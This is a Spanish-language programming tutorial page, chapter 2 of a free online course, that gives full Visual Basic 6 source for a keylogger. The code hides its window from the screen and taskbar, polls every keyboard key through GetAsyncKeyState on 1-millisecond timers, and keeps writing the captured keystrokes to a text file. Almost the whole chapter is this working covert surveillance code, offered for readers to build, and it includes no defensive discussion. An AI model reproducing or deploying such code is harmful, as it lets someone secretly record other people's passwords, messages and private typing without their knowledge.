Ir a Emagister Encuentra tu formación ideal
¡Mailxmail y emagister se unen para que tengas toda la formación a tu alcance!
12.170 cursos gratis
8.184.952 alumnos
Facebook Twitter YouTube
Busca cursos gratis:

Grabador de teclas

Autor: Pedro Alejandro Morales González
Curso:
10/10 (1 opinión) |1153 alumnos|Fecha publicación: 19/11/2009
Envía un mensaje al autor

Capítulo 2:

 Programación

Antes que nada, debo hacer la aclaración de que quien no sepa programar en vb6 o superior primero debe ver los tutoriales y cursos de mailxmail para programar en vb6.

Con una aplicación abierta en ejecutable normal:

Añadimos un Textbox1 con las propiedades de bara horizontal y vertical y 3 timers todosaplicados en true.

Comienzo de programación 2

Ahora en el form existe una propiedad que se llama: showintaskbar, la vamos a poner en 'false', vamos a añadir un modulo normal y escribimos lo que hay en la siguiente imagen.

Comienzo de programación 4

En el cuerpo del sistema osea el form pondremos las siguientes lineas de código:

-------------------------------------------------------------------------------------------------------------------------

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim LastData As String

Dim Shift As Integer

Dim Caps  As Integer

Dim KeyResult As Long

Private Sub AddKey(Key As String)

Text1 = Text1 & Key

Text1.SelStart = Len(Text1)

End Sub

Private Sub Form_Load()

Timer1.Enabled = True

    Timer1.Interval = 1

   

    Timer2.Enabled = True

    Timer2.Interval = 100

    Timer3.Enabled = True

    Timer3.Interval = 1

Form1.Visible = False

'En el Form_Load del text-box:

Dim LTmp As Long

LTmp = SendMessage(Text1.hwnd, EM_LIMITTEXT, 0, ByVal 0&)

End Sub

Private Sub Form_Unload(Cancel As Integer)

End Sub

Private Sub Timer1_Timer()

KeyResult = GetAsyncKeyState(20)

If KeyResult = -32767 Then

If Caps Then

Caps = False

Else

Caps = True

End If

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(13)

If KeyResult = -32767 Then

AddKey "[ENTER]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(8)

If KeyResult = -32767 Then

AddKey "[BKSPACE]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(9)

If KeyResult = -32767 Then

AddKey "[TAB]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(27)

If KeyResult = -32767 Then

AddKey "[Esc]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(32)

If KeyResult = -32767 Then

AddKey "[Espacio]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(37)

If KeyResult = -32767 Then

AddKey "[LEFT]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(38)

If KeyResult = -32767 Then

AddKey "[UP]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(39)

If KeyResult = -32767 Then

AddKey "[RIGHT]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(40)

If KeyResult = -32767 Then

AddKey "[DOWN]"

GoTo KeyFound

End If

For i = 65 To 90

KeyResult = GetAsyncKeyState(i)

If KeyResult = -32767 Then

If Shift Then

If Caps Then AddKey Chr(i + 32) Else AddKey Chr(i)

Else

If Caps Then AddKey Chr(i) Else AddKey Chr(i + 32)

End If

GoTo KeyFound

End If

Next i

For i = 48 To 57

KeyResult = GetAsyncKeyState(i)

If KeyResult = -32767 Then

If Shift Then

If i = 49 Then AddKey Chr(33)

If i = 50 Then AddKey Chr(64)

If i = 51 Then AddKey Chr(35)

If i = 52 Then AddKey Chr(36)

If i = 53 Then AddKey Chr(37)

If i = 54 Then AddKey Chr(94)

If i = 55 Then AddKey Chr(38)

If i = 56 Then AddKey Chr(42)

If i = 57 Then AddKey Chr(40)

If i = 48 Then AddKey Chr(41)

Else

AddKey Chr(i)

End If

GoTo KeyFound

End If

Next i

KeyResult = GetAsyncKeyState(16)

If KeyResult = -32767 And Not Shift Then

Shift = True

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(32)

If KeyResult = -32767 Then

AddKey " "

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(189)

If KeyResult = -32767 Then

If Shift Then AddKey "_" Else AddKey "-"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(187)

If KeyResult = -32767 Then

If Shift Then AddKey "+" Else AddKey "="

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(112)

If KeyResult = -32767 Then

AddKey "[F1]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(113)

If KeyResult = -32767 Then

AddKey "[F2]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(114)

If KeyResult = -32767 Then

AddKey "[F3]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(115)

If KeyResult = -32767 Then

AddKey "[F4]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(116)

If KeyResult = -32767 Then

AddKey "[F5]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(117)

If KeyResult = -32767 Then

AddKey "[F6]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(118)

If KeyResult = -32767 Then

AddKey "[F7]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(119)

If KeyResult = -32767 Then

AddKey "[F8]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(120)

If KeyResult = -32767 Then

AddKey "[F9]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(121)

If KeyResult = -32767 Then

AddKey "[F10]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(122)

If KeyResult = -32767 Then

AddKey "[F11]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(123)

If KeyResult = -32767 Then

AddKey "[F12]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(124)

If KeyResult = -32767 Then

AddKey "[F13]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(125)

If KeyResult = -32767 Then

AddKey "[F14]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(126)

If KeyResult = -32767 Then

AddKey "[F15]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(127)

If KeyResult = -32767 Then

AddKey "[F16]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(186)

If KeyResult = -32767 Then

If Shift Then AddKey ":" Else AddKey ";"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(188)

If KeyResult = -32767 Then

If Shift Then AddKey "<" Else AddKey ","

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(190)

If KeyResult = -32767 Then

If Shift Then AddKey ">" Else AddKey "."

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(191)

If KeyResult = -32767 Then

If Shift Then AddKey "?" Else AddKey "/"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(192)

If KeyResult = -32767 Then

If Shift Then AddKey "~" Else AddKey "`"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(222)

If KeyResult = -32767 Then

If Shift Then AddKey Chr(34) Else AddKey "'"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(220)

If KeyResult = -32767 Then

If Shift Then AddKey "|" Else AddKey "\"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(221)

If KeyResult = -32767 Then

If Shift Then AddKey "}" Else AddKey "]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(219)

If KeyResult = -32767 Then

If Shift Then AddKey "{" Else AddKey "["

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(96)

If KeyResult = -32767 Then

AddKey "0"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(97)

If KeyResult = -32767 Then

AddKey "1"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(98)

If KeyResult = -32767 Then

AddKey "2"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(99)

If KeyResult = -32767 Then

AddKey "3"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(100)

If KeyResult = -32767 Then

AddKey "4"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(101)

If KeyResult = -32767 Then

AddKey "5"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(102)

If KeyResult = -32767 Then

AddKey "6"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(103)

If KeyResult = -32767 Then

AddKey "7"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(104)

If KeyResult = -32767 Then

AddKey "8"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(105)

If KeyResult = -32767 Then

AddKey "9"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(106)

If KeyResult = -32767 Then

AddKey "*"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(107)

If KeyResult = -32767 Then

AddKey "+"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(108)

If KeyResult = -32767 Then

AddKey "[ENTER]"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(109)

If KeyResult = -32767 Then

AddKey "-"

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(110)

If KeyResult = -32767 Then

AddKey "."

GoTo KeyFound

End If

KeyResult = GetAsyncKeyState(111)

If KeyResult = -32767 Then

AddKey "/"

GoTo KeyFound

End If

KeyFound:

End Sub

Private Sub Timer2_Timer()

On Error Resume Next

    Dim graba As String

   

    graba = App.Path & "\Keytrap.txt"

    Open graba For Output As #1

        Print #1, Text1.Text

      

    Close #1

End Sub

-------------------------------------------------------------------------------------------------

Nuestras novedades en tu e-mail

Escribe tu e-mail:

Al presionar "Recibir" estás dándote de alta y aceptas las condiciones legales de mailxmail

Cursos similares a Grabador de teclas


  • Vídeo
  • Alumnos
  • Valoración
  • Cursos
1. Los comandos más utilizados de Microsoft Word. Funciones y teclas
Te presentamos un curso muy útil en el cual te mostraremos los comandos más... [15/11/11]
108  
2. Introducción a Linux
Linux es un sistema operativo de descarga gratuita que se creo a principios de los... [11/04/03]
50.168  
3. Tipología de los juegos de ordenador y consola
Dime a que juegas y te diré como eres. Con este curso queremos realizar un... [14/07/04]
3.372  

El blog de mailxmail|¿Qué es mailxmail.com?|ISSN: 1699-4914|Ayuda
Publicidad|Condiciones legales de mailxmail


¿Quieres recibir más cursos de Software? ¡Son gratis!